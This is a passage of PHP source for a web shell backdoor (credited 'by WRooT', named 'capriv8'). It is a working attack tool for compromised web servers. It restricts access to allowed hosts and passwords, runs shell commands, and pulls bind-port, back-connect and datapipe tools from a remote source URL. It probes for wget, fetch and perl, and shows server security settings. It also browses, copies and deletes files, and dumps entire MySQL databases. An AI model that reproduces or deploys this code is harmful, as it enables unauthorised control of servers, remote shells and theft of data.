$highlight_comment = "#00FF00";
$highlight_default = "orange";
$highlight_html = "lightblue";
$highlight_keyword = "lime";
$highlight_string = "red";

@$f = $_REQUEST["f"];
@extract($_REQUEST["capriv8cook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
    header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
    header("HTTP/1.0 401 Unauthorized");
    exit($accessdeniedmess);
  }
}
if ($x != "img") {
  $lastdir = realpath(".");
  chdir($curdir);
  if ($selfwrite) {
    @ob_clean();
    capriv8_getupdate($selfwrite,1);
    exit;
  }
  $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  if (!is_array($sess_data)) {$sess_data = array();}
  if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  if (!function_exists("cagetsource")) {
    function cagetsource($fn) {
      global $capriv8_sourcesurl;
      $array = array(
        "capriv8_bindport.pl" => "capriv8_bindport_pl.txt",
        "capriv8_bindport.c" => "capriv8_bindport_c.txt",
        "capriv8_backconn.pl" => "capriv8_backconn_pl.txt",
        "capriv8_backconn.c" => "capriv8_backconn_c.txt",
        "capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt",
        "capriv8_datapipe.c" => "capriv8_datapipe_c.txt",
      );
      $name = $array[$fn];
      if ($name) {return file_get_contents($capriv8_sourcesurl.$name);}
      else {return FALSE;}
    }
  }
  if (!function_exists("ca_buff_prepare")) {
    function ca_buff_prepare() {
      global $sess_data;
      global $x;
      foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
      foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
      $sess_data["copy"] = array_unique($sess_data["copy"]);
      $sess_data["cut"] = array_unique($sess_data["cut"]);
      sort($sess_data["copy"]);
      sort($sess_data["cut"]);
      if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
      else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
    }
  }
  ca_buff_prepare();
  if (!function_exists("ca_sess_put")) {
    function ca_sess_put($data) {
      global $sess_cookie;
      global $sess_data;
      ca_buff_prepare();
      $sess_data = $data;
      $data = serialize($data);
      setcookie($sess_cookie,$data);
    }
  }
  foreach (array("sort","sql_sort") as $v) {
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  }
  if ($sort_save) {
    if (!empty($sort)) {setcookie("sort",$sort);}
    if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  }
  if (!function_exists("str2mini")) {
    function str2mini($content,$len) {
      if (strlen($content) > $len) {
        $len = ceil($len/2) - 2;
        return substr($content, 0,$len)."...".substr($content,-$len);
      } else {return $content;}
    }
  }
  if (!function_exists("view_size")) {
    function view_size($size) {
      if (!is_numeric($size)) { return FALSE; }
      else {
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
        else {$size = $size . " B";}
        return $size;
      }
    }
  }
  if (!function_exists("fs_copy_dir")) {
    function fs_copy_dir($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          if (!$ret) {return $ret;}
        }
      }
      closedir($h);
      return TRUE;
    }
  }
  if (!function_exists("fs_copy_obj")) {
    function fs_copy_obj($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
      if (!is_dir(dirname($t))) {mkdir(dirname($t));}
      if (is_dir($d)) {
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
        return fs_copy_dir($d,$t);
      }
      elseif (is_file($d)) { return copy($d,$t); }
      else { return FALSE; }
    }
  }
  if (!function_exists("fs_move_dir")) {
    function fs_move_dir($d,$t) {
      $h = opendir($d);
      if (!is_dir($t)) {mkdir($t);}
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          $ret = TRUE;
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
          if (!$ret) {return $ret;}
        }
      }
      closedir($h);
      return TRUE;
    }
  }
  if (!function_exists("fs_move_obj")) {
    function fs_move_obj($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
      if (is_dir($d)) {
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
        return fs_move_dir($d,$t);
      }
      elseif (is_file($d)) {
        if(copy($d,$t)) {return unlink($d);}
        else {unlink($t); return FALSE;}
      }
      else {return FALSE;}
    }
  }
  if (!function_exists("fs_rmdir")) {
    function fs_rmdir($d) {
      $h = opendir($d);
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          if (!is_dir($d.$o)) {unlink($d.$o);}
          else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
        }
      }
      closedir($h);
      rmdir($d);
      return !is_dir($d);
    }
  }
  if (!function_exists("fs_rmobj")) {
    function fs_rmobj($o) {
      $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
      if (is_dir($o)) {
        if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
        return fs_rmdir($o);
      }
      elseif (is_file($o)) {return unlink($o);}
      else {return FALSE;}
    }
  }
  if (!function_exists("tabsort")) {
    function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  }
  if (!function_exists("view_perms")) {
    function view_perms($mode) {
      if (($mode & 0xC000) === 0xC000) {$type = "s";}
      elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
      elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
      elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
      elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
      elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
      elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
      else {$type = "?";}
      $owner["read"] = ($mode & 00400)?"r":"-";
      $owner["write"] = ($mode & 00200)?"w":"-";
      $owner["execute"] = ($mode & 00100)?"x":"-";
      $group["read"] = ($mode & 00040)?"r":"-";
      $group["write"] = ($mode & 00020)?"w":"-";
      $group["execute"] = ($mode & 00010)?"x":"-";
      $world["read"] = ($mode & 00004)?"r":"-";
      $world["write"] = ($mode & 00002)? "w":"-";
      $world["execute"] = ($mode & 00001)?"x":"-";
      if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
      if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
      if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
      return $type.join("",$owner).join("",$group).join("",$world);
    }
  }
  if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  if (!function_exists("parse_perms")) {
    function parse_perms($mode) {
      if (($mode & 0xC000) === 0xC000) {$t = "s";}
      elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
      elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
      elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
      elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
      elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
      elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
      else {$t = "?";}
      $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
      $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
      $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
      return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
    }
  }
  if (!function_exists("parsesort")) {
    function parsesort($sort) {
      $one = intval($sort);
      $second = substr($sort,-1);
      if ($second != "d") {$second = "a";}
      return array($one,$second);
    }
  }
  if (!function_exists("view_perms_color")) {
    function view_perms_color($o) {
      if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
      elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
      else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
    }
  }
  if (!function_exists("mysql_dump")) {
    function mysql_dump($set) {
      global $sh_ver;
      $sock = $set["sock"];
      $db = $set["db"];
      $print = $set["print"];
      $nl2br = $set["nl2br"];
      $file = $set["file"];
      $add_drop = $set["add_drop"];
      $tabs = $set["tabs"];
      $onlytabs = $set["onlytabs"];
      $ret = array();
      $ret["err"] = array();
      if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
      if (empty($db)) {$db = "db";}
      if (empty($print)) {$print = 0;}
      if (empty($nl2br)) {$nl2br = 0;}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (empty($file)) {
        $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
      }
      if (!is_array($tabs)) {$tabs = array();}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (sizeof($tabs) == 0) {
        $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
        if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
      }
      $out = "
      # Dumped by ".$sh_name."
      #
      # Host settings:
      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
      # Date: ".date("d.m.Y H:i:s")."
      # DB: \"".$db."\"
      #---------------------------------------------------------";
      $c = count($onlytabs);
      foreach($tabs as $tab) {
        if ((in_array($tab,$onlytabs)) or (!$c)) {
          if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
          $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
          if (!$res) {$ret["err"][] = mysql_smarterror();}
          else {
            $row = mysql_fetch_row($res);
            $out .= $row["1"].";

";
            $res = mysql_query("SELECT * FROM `$tab`", $sock);
            if (mysql_num_rows($res) > 0) {
              while ($row = mysql_fetch_assoc($res)) {
                $keys = implode("`, `", array_keys($row));
                $values = array_values($row);
                foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
                $values = implode("', '", $values);
                $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
                $out .= $sql;
              }
            }
          }
        }
      }
      $out .= "#---------------------------------------------------------------------------------

";
      if ($file) {
        $fp = fopen($file, "w");
        if (!$fp) {$ret["err"][] = 2;}
        else {
          fwrite ($fp, $out);
          fclose ($fp);
        }
      }
      if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
      return $out;
    }
  }
  if (!function_exists("mysql_buildwhere")) {
    function mysql_buildwhere($array,$sep=" and",$functs=array()) {
      if (!is_array($array)) {$array = array();}
      $result = "";
      foreach($array as $k=>$v) {
        $value = "";
        if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
        $value .= "'".addslashes($v)."'";
        if (!empty($functs[$k])) {$value .= ")";}
        $result .= "`".$k."` = ".$value.$sep;
      }
      $result = substr($result,0,strlen($result)-strlen($sep));
      return $result;
    }
  }
  if (!function_exists("mysql_fetch_all")) {
    function mysql_fetch_all($query,$sock) {
      if ($sock) {$result = mysql_query($query,$sock);}
      else {$result = mysql_query($query);}
      $array = array();
      while ($row = mysql_fetch_array($result)) {$array[] = $row;}
      mysql_free_result($result);
      return $array;
    }
  }
  if (!function_exists("mysql_smarterror")) {
    function mysql_smarterror($type,$sock) {
      if ($sock) {$error = mysql_error($sock);}
      else {$error = mysql_error();}
      $error = htmlspecialchars($error);
      return $error;
    }
  }
  if (!function_exists("mysql_query_form")) {
    function mysql_query_form() {
      global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
      if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
      if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
      if ((!$submit) or ($sql_x)) {
        echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
        if ($tbl_struct) {
          echo "<td valign=\"top\"><b>Fields:</b><br>";
          foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
          echo "</td></tr></table>";
        }
      }
      if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
    }
  }
  if (!function_exists("mysql_create_db")) {
    function mysql_create_db($db,$sock="") {
      $sql = "CREATE DATABASE `".addslashes($db)."`;";
      if ($sock) {return mysql_query($sql,$sock);}
      else {return mysql_query($sql);}
    }
  }
  if (!function_exists("mysql_query_parse")) {
    function mysql_query_parse($query) {
      $query = trim($query);
      $arr = explode (" ",$query);
      $types = array(
        "SELECT"=>array(3,1),
        "SHOW"=>array(2,1),
        "DELETE"=>array(1),
        "DROP"=>array(1)
      );
      $result = array();
      $op = strtoupper($arr[0]);
      if (is_array($types[$op])) {
        $result["propertions"] = $types[$op];
        $result["query"]  = $query;
        if ($types[$op] == 2) {
          foreach($arr as $k=>$v) {
            if (strtoupper($v) == "LIMIT") {
              $result["limit"] = $arr[$k+1];
              $result["limit"] = explode(",",$result["limit"]);
              if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
              unset($arr[$k],$arr[$k+1]);
            }
          }
        }
      }
      else {return FALSE;}
    }
  }
  if (!function_exists("cafsearch")) {
    function cafsearch($d) {
      global $found;
      global $found_d;
      global $found_f;
      global $search_i_f;
      global $search_i_d;
      global $a;
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($f = readdir($h)) !== FALSE) {
        if($f != "." && $f != "..") {
          $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
          if (is_dir($d.$f)) {
            $search_i_d++;
            if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
            if (!is_link($d.$f)) {cafsearch($d.$f);}
          }
          else {
            $search_i_f++;
            if ($bool) {
              if (!empty($a["text"])) {
                $r = @file_get_contents($d.$f);
                if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
                if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
                if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
                else {$bool = strpos(" ".$r,$a["text"],1);}
                if ($a["text_not"]) {$bool = !$bool;}
                if ($bool) {$found[] = $d.$f; $found_f++;}
              }
              else {$found[] = $d.$f; $found_f++;}
            }
          }
        }
      }
      closedir($h);
    }
  }
  if ($x == "gofile") {
    if (is_dir($f)) { $x = "ls"; $d = $f; }
    else { $x = "f"; $d = dirname($f); $f = basename($f); }
  }
  @ob_start();
  @ob_implicit_flush(0);
  function onphpshutdown() {
    global $gzipencode,$ft;
    if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
      $v = @ob_get_contents();
      @ob_end_clean();
      @ob_start("ob_gzHandler");
      echo $v;
      @ob_end_flush();
    }
  }
  function capriv8exit() {
    onphpshutdown();
    exit;
  }
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", FALSE);
  header("Pragma: no-cache");
  if (empty($tmpdir)) {
    $tmpdir = ini_get("upload_tmp_dir");
    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  }
  $tmpdir = realpath($tmpdir);
  $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
  if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  else {$tmpdir_logs = realpath($tmpdir_logs);}
  function showstat($stat) {
    if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
    else { return "<font color=#FF9900><b>OFF</b></font>"; }
  }
  function testperl() {
    if (ex('perl -h')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testfetch() {
    if(ex('fetch --help')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testwget() {
    if (ex('wget --help')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testpostgresql() {
    if (function_exists('pg_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testcurl() {
    if (function_exists('curl_version')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmysql() {
    if (function_exists('mysql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
    else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  }
  if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
    $safemode = TRUE;
    $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  }
  else {
    $safemode = FALSE;
    $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
  }
  $v = @ini_get("open_basedir");
  if ($v or strtolower($v) == "on") {
    $openbasedir = TRUE;
    $hopenbasedir = "<font color=red>".$v."</font>";
  }
  else {
    $openbasedir = FALSE;
    $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  }
  $sort = htmlspecialchars($sort);
  if (empty($sort)) {$sort = $sort_default;}
  $sort[1] = strtolower($sort[1]);
  $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  @ini_set("highlight.bg",$highlight_bg);
  @ini_set("highlight.comment",$highlight_comment);
  @ini_set("highlight.default",$highlight_default);
  @ini_set("highlight.html",$highlight_html);
  @ini_set("highlight.keyword",$highlight_keyword);
  @ini_set("highlight.string",$highlight_string);
  if (!is_array($actbox)) { $actbox = array(); }
  $dspact = $x = htmlspecialchars($x);
  $disp_fullpath = $ls_arr = $notls = null;
  $ud = urlencode($d);
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (empty($d)) {$d = realpath(".");}
  elseif(realpath($d)) {$d = realpath($d);}
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $d = str_replace("\","\",$d);
  $dispd = htmlspecialchars($d);
echo $html_start;
echo "<div class=barheader2><h3>$sh_name</h3><font color=lime>by WRooT</font></div><hr color=silver>
";
echo "<table id=pagebar><tr><td width=50%><p>".
     "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
     "$hsafemode<br>".
     "OS : ".php_uname()."<br>";
if (!$win) { echo "User ID : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "</p></td>".
     "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
     "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
echo "Freespace : ".disp_freespace($d);
echo "</p></td></tr>";
echo "<tr><td colspan=2><p>";
echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
     " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
echo "Disabled Functions: ".showdisablefunctions();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
  foreach($quicklaunch2 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch1) > 0) {
  foreach($quicklaunch1 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td></tr><tr><td colspan=2>";
echo "<p class=fleft>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
  $t = ""; $j = 0;
  foreach ($e as $r) {
    $t.= $r.DIRECTORY_SEPARATOR;
    if ($j == $i) { break; }
    $j++;
  }
  echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=red>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  $i++;
}
echo " - ";
if (is_writable($d)) {
  $wd = TRUE;
  $wdt = "<font color=#00FF00>[OK]</font>";
  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
  $wd = FALSE;
  $wdt = "<font color=red>[Read-Only]</font>";
  echo "<b>".view_perms_color($d)."</b>";
}
?>
</p>
<div class=fright>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
echo "<table id=maininfo><tr><td width=\"100%\">
";
if ($x == "") { $x = $dspact = "ls"; }
if ($x == "phpini" ) { get_phpini(); }
if ($x == "sql") {
  $sql_surl = $surl."x=sql";
  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  $sql_surl .= "&";
  echo "<table>".
       "<tr><td width=\"100%\" colspan=2 class=barheader>";
  if ($sql_server) {
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
    $err = mysql_smarterror();
    @mysql_select_db($sql_db,$sql_sock);
    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  }
  else {$sql_sock = FALSE;}
  echo ".: SQL Manager :.<br>";
  if (!$sql_sock) {
    if (!$sql_server) {echo "NO CONNECTION";}
    else {echo "Can't connect! ".$err;}
  }
  else {
    $sqlquicklaunch = array();
    $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
    $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
    $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
    $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
    $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
    $sqlquicklaunch[] = array("Logout",$surl."x=sql");
    echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  }
  echo "</td></tr><tr>";
  if (!$sql_sock) {
    echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
    echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  }
  else {
    if (!empty($sql_db)) {
